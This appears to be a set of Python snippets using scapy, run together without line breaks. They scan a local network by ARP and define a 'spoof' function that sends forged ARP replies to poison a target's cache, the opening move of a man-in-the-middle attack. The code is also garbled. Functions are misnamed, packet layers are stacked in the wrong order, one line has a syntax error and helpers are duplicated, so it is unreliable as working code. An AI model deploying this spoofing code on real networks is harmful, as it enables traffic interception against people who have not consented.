def StartScan(Address): ARPRequest = scapy.ARP(pdst=Address) Broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") ARPRequestWithBrod = ARPRequest / Broadcast Response = scapy.arp(ARPRequestWithBrod, timeout=1, verbose=False)[0] print( "\tIP \t\t\t MAC ADDRESS\n------------------------------------------------------" ) for Device in Response: print(Device[1].psrc + "\t\t" + Device[1].hwsrc)
def get_mac(ip): arp_request = scapy.ARP(pdst=ip) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = scapy.arp(arp_request_broadcast, timeout=1, verbose=False)[0] return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.arp(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) # print(packet.show()) # print(packet.summary()) scapy.send(packet, verbose=False)
def get_mac_address(ip_address): broadcast_layer = scapy.Ether(dst='ff:ff:ff:ff:ff:ff') arp_layer = scapy.ARP(pdst=ip_address) get_mac_packet = broadcast layer/arp layer answer = scapy.arp(get_mac_packet, timeout=2, verbose=False)[0] return answer[0][1].hwsrc